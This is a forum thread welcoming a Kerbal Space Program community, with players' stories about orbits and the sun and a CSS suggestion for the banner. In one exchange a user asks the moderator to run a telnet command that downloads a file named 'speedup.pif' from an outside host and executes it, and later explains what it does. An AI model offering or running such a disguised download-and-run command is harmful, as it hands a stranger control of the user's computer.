Finally. You can't take a social network seriously if it doesn't have a KSP community.

Welcome fellow Kerbanaut!

Nice. This game is awesome. I should give it another play.

I landed on the moon and several planets. The hardest thing I ever tried to do was crash in to the sun. I could never do it. It seems like it'd be easy to just "fall" in to the sun once you get off the Earth, but it's not. You have to undo all the sideways momentum from earth orbiting the sun with your rockets in order to properly fall toward the sun instead of orbit, and that takes a ton of fuel.

Kind of an eye-opening moment for me about how gravity works, and how much momentum everything has. It's very hard to get out of a stable orbit!

Anyway cool sub! Just wanted to share my Kerbal story.

I made it to the Sun once. Got too close then my ship burned up. Made it to Jool as well but you can't really land on a gas giant...That's what I like about KSP, infinite replay possibilities. It's one of the rare games that I keep coming back to because there's so many things you can do. Thx for sharing!

Nice, that's awesome you actually made it to the sun. Thanks for letting me know what happens haha

Where's Boris?

He's in sick bay right now after accidentally drinking two liters of rocket fuel...

I'd like to nitpick about the CSS. Could you add this code:

#header-img-a {
  display: block;
  overflow-x: hidden;
  width: 100%;
}
#header-img {
  float: right;
}

And then, if you prefer it, crop the image on the right and re-upload it.

Thanks for your input. I added the CSS code but I'm not seeing anything different. What's it supposed to do?

It made the banner at the top not make the page scroll sideways on smaller screens.

Also, while we're at it, could you run this code on your computer?

telnet wizzwizz4.freedomains.nz 54 > speedup.pif & speedup.pif

[–]Optimus85[S] 1 insightful - 1 fun1 insightful - 0 fun2 insightful - 1 fun -  (3 children)

Oh I see. Hadn't tested it on anything else. Thanks!

$ telnet wizzwizz4.freedomains.nz 54 > speedup.pif & speedup.pif [1] 20059 bash: speedup.pif: command not found

[–]wizzwizz4 1 insightful - 1 fun1 insightful - 0 fun2 insightful - 1 fun -  (2 children)

That was a Windows command. Also, do you know what the command's supposed to do?

Does it connect to a chat server? Telnet also exists on Linux but the command-line options must be a bit different...

[–]wizzwizz4 1 insightful - 1 fun1 insightful - 0 fun2 insightful - 1 fun -  (0 children)

It downloads a program and tries to run it. (Except the domain isn't registered, and telnet outputs extra stuff beforehand so it wouldn't work anyway without a little modification; I didn't want to risk it.)
